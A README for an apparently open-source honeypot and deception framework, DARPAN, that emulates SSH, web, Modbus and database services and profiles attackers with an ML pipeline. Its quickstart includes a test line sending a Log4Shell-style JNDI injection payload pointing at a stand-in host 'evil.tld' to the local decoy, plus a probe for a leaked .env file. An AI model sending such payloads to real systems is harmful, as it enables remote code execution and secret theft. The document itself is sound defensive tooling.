██████╗ █████╗ ██████╗ ██████╗ █████╗ ███╗ ██╗
██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔══██╗████╗ ██║
██║ ██║███████║██████╔╝██████╔╝███████║██╔██╗ ██║
██║ ██║██╔══██║██╔══██╗██╔═══╝ ██╔══██║██║╚██╗██║
██████╔╝██║ ██║██║ ██║██║ ██║ ██║██║ ╚████║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝
Digital Asset Reflection and Proactive Analysis Network
A multi-protocol cyber deception framework for threat-actor profiling and campaign tracking.
DARPAN presents an adversary with a coherent, plausible target — an SSH server, a web application, a database, a PLC — records everything they do to it, and turns that record into intelligence: classified actors, correlated campaigns, mapped ATT&CK techniques, and IOC feeds your SIEM can consume.
It does not block attacks. It studies them.
Five deception surfaces, all emitting one event schema:
| Surface | Emulates | Signal it produces |
|---|---|---|
| SSH / Telnet | Ubuntu 22.04 server (Cowrie + LLM shell) | Full command sequences, credential use, staged payloads |
| HTTP | nginx + admin portals, leaked .env, .git |
Exploit signatures, credential capture, recon paths |
| Modbus/TCP | Schneider Modicon M340 pump station | ICS reconnaissance and process-manipulation attempts |
| Banner services | MySQL, Redis, PostgreSQL, Elasticsearch, MongoDB, Docker API | Protocol payloads, RCE chains, auth attempts |
| Honeytokens | Canary credentials and secrets files | Unambiguous proof of lure harvest |
A honeypot's value is that it has no legitimate users. Every packet is unsolicited, so there are no false positives to tune away. DARPAN leans on that:
- Canary credentials exist nowhere but this deployment. Their use anywhere is proof an attacker read a planted file — not an inference, an observation.
- A Modbus write to a decoy PLC has no benign explanation. In a real plant, that same packet is the attack.
- Behavioural correlation groups sessions by how the operator works — timing regularity, command diversity, tooling fingerprints — so a campaign stays tracked across rotating infrastructure. Blocking an IP achieves little; recognising that forty sessions from thirty addresses are one operation is actionable.
git clone https://github.com/amibhai/DARPAN.git && cd DARPAN
pip install -e ".[all]"
darpan doctor --fix # validate configuration, create directories
darpan honeyfs generate # build a polymorphic fake filesystem
darpan sensors run # start HTTP, Modbus and banner surfacesAttack it from another terminal, then look at what it saw:
curl http://localhost:8080/.env
curl "http://localhost:8080/?x=\${jndi:ldap://evil.tld/a}"
darpan status # live summary
darpan ml run --no-enrich # classify, correlate, generate reportssudo bash scripts/01_system_prep.sh # dependencies, kernel, SSH hardening
cp env.template .env && $EDITOR .env # see the configuration section below
sudo bash scripts/deploy.sh # containment, containers, dashboards
bash scripts/smoke_test.sh # PROVE it works — do not skip thisscripts/deploy.sh refuses to proceed on unsafe configuration rather than
bringing up a honeypot that leaks.
INTERNET
│
┌──────────────┴───────────────┐
│ NAT 22→2222 80→8080 │ iptables DNAT
│ 23→2223 502→5020 │
└──────────────┬───────────────┘
▼
╔══════════════════════════════════════════════════╗
║ darpan-trap 172.20.0.0/25 internal: true ║ ← no route off-host
║ ║
║ ┌─────────────────┐ ┌────────────────────┐ ║
║ │ Cowrie reflector│ │ DARPAN sensors │ ║
║ │ SSH · Telnet │ │ HTTP · Modbus · │ ║
║ │ + LLM shell │ │ banner services │ ║
║ └────────┬────────┘ └─────────┬──────────┘ ║
╚════════════╪══════════════════════╪═════════════╝
│ │
└──────────┬───────────┘
▼
shared volume (JSONL) ← telemetry crosses as FILES,
│ never as network packets
▼
╔══════════════════════════════════════════════════╗
║ darpan-core 172.20.0.128/25 ║
║ ║
║ Filebeat → Logstash → Elasticsearch → Kibana ║
║ ║
║ Beacon ──── honeytoken alerts ──→ Slack/Teams ║
║ Pipeline ── features → classify → cluster ║
║ → reports → STIX / MISP ║
║ API ─────── read-only intelligence (loopback) ║
╚══════════════════════════════════════════════════╝
The network split is the containment design. The trap network is
internal: true, so Docker installs no route to the outside world for it. A
compromised container cannot reach the internet even if the iptables rules are
misconfigured or absent. Telemetry reaches the analysis stack as files on a
shared volume, so there is no network path for an escapee to pivot along.
See docs/ARCHITECTURE.md for the full design.
events → session features → classification → campaign correlation
↓
STIX 2.1 / MISP / blocklist ← reports ← enrichment
Classification places each session in one of five behavioural classes —
AUTOMATED_SCANNER, WORM_BOT, SCRIPT_KIDDIE, ADVANCED_HUMAN,
APT_CANDIDATE — with a SHAP attribution explaining why:
Classified as APT_CANDIDATE (91.4% confidence) on the following evidence:
1. Timing regularity — near zero means machine-driven: 1.412 — irregular
intervals, characteristic of a human operator
2. Defence-evasion commands observed: 6
3. Entropy of command text: 4.81 bits/char — elevated, consistent with
encoding or obfuscation
4. Persistence commands observed: 4
Correlation clusters sessions on behaviour, not source address, so campaigns survive infrastructure rotation.
On the shipped model. With no labelled data on day one, DARPAN bootstraps from a synthetic behavioural prior so the pipeline is useful immediately. That prior scores near-perfectly on its own generated data because the classes are constructed to be separable — this is not a measure of real-world accuracy. Replace it with analyst-labelled sessions as they accumulate:
darpan ml train --data labelled.parquet.
darpan doctor [--fix] validate configuration and dependencies
darpan status operational summary
darpan sensors run [--enable ...] start the deception surfaces
darpan sensors list show available surfaces
darpan honeyfs generate build honeyfs + Cowrie fs.pickle
darpan beacon honeytoken detection daemon
darpan lures refresh regenerate lures, rotate canaries
darpan ml train [--data FILE] train the classifier
darpan ml run full analysis pipeline
darpan ml explain [--session ID] explain one classification
darpan intel enrich IP [IP ...] reputation, geo and exposure lookup
darpan intel mitre [COMMANDS] map commands to ATT&CK
darpan intel export --format stix STIX 2.1 / MISP export
darpan api serve the intelligence API
Everything is environment-driven; see env.template.
The settings that matter most:
| Variable | Purpose |
|---|---|
ANTHROPIC_API_KEY |
LLM shell emulation. Set DARPAN_LLM_ENABLED=false to run without it. |
KIBANA_ENCRYPTION_KEY |
Required for the analysis stack. 32+ random chars. |
DARPAN_API_TOKEN |
Required if the API binds off-loopback. Enforced by validation. |
HONEYTOKEN_WEBHOOK_URL |
Slack/Discord/Teams alerts. Format auto-detected. |
DARPAN_LLM_MAX_CALLS_PER_HOUR |
Global spend ceiling across all sessions. |
HONEYTOKEN_MAX_ACTIVE |
Hard cap on rotating canaries. |
LOG_RETENTION_DAYS |
Attacker IPs are personal data — set to match your legal basis. |
darpan doctor validates the whole configuration and explains anything wrong.
A honeypot is deliberately attractive infrastructure that you have chosen to let strangers interact with. Deploy it carelessly and you have not built a sensor — you have built someone else's launch pad.
Non-negotiable:
- Deploy only on infrastructure you own or are authorised in writing to use.
- Verify containment before exposure. Not "run the script" — verify:
sudo bash deploy/firewall/containment.sh --verify bash scripts/smoke_test.sh # asserts the honeypot cannot reach 1.1.1.1 - Never deploy on a production network without a dedicated VLAN or DMZ.
- Treat
intel/malware_samples/as hostile. Attackers upload live malware. Never execute it; mount the directorynoexec. - Collected data is personal data. Source IPs and session content fall under GDPR and comparable regimes. Set a retention period and a lawful basis before collecting, not after.
Containment is defence in depth — an internal Docker network, a DOCKER-USER
egress default-deny, and explicit RFC1918 blocking — because any single layer
can be misconfigured. docs/THREAT_MODEL.md documents
what DARPAN defends against and what it does not.
darpan/ Installable Python package
├── core/ Config, event schema, logging, sinks
├── sensors/ HTTP, Modbus, banner deception surfaces
├── reflector/ Cowrie plugin, LLM shell, honeyfs generator
├── lures/ Honeytoken beacon, lure scheduler
├── intel/ Enrichment, ATT&CK mapping, STIX/MISP export
├── ml/ Features, classifier, campaigns, reports, pipeline
├── api/ Read-only intelligence API
└── cli.py The `darpan` entrypoint
deploy/
├── docker-compose.yml Unified stack with profiles
├── reflector/ Cowrie image, config, credential lures
├── darpan/ Framework image
├── elk/ Filebeat, Logstash, ES setup, Kibana objects
├── firewall/ Containment rules
└── systemd/ Units and timers
scripts/ Host prep, deployment, smoke test
tests/ 183 tests
docs/ Architecture, deployment, operations, threat model
make install # editable install with all extras
make test # 183 tests
make check # lint + typecheck + test
make sensors # run the grid locally on loopbackWorking now: all five deception surfaces, containment, the full analysis pipeline, ATT&CK mapping across Enterprise and ICS, STIX 2.1 / MISP export, the intelligence API, ELK ingestion with ILM, and the Kibana dashboards.
Not yet built:
- RDP and SMB surfaces
- Distributed multi-node sensor federation
- Automated retraining triggered by labelled-data volume
- DNP3 and S7comm alongside Modbus
- Cloud deployment modules (AWS/Azure/GCP)
Contributions welcome — see CONTRIBUTING.md. Open an issue before starting a major feature.
| Document | Contents |
|---|---|
| ARCHITECTURE.md | Design, event schema, data flow |
| DEPLOYMENT.md | Step-by-step production deployment |
| OPERATIONS.md | Running it day to day, triage, tuning |
| THREAT_MODEL.md | What this defends against, and what it does not |
| MIGRATION.md | Upgrading from 1.x, and what changed |
DARPAN is for authorised security research, threat intelligence collection and defensive operations only. Deploying honeypots without authorisation may violate computer misuse law in your jurisdiction. All data collected is the deploying organisation's responsibility. The authors accept no liability for misuse.
Every credential, secret and system in DARPAN's deception content is fabricated. Nothing here is, or has ever been, a real credential.
"The best defence is making the attacker believe they've found something real."
DARPAN — Deception as a Discipline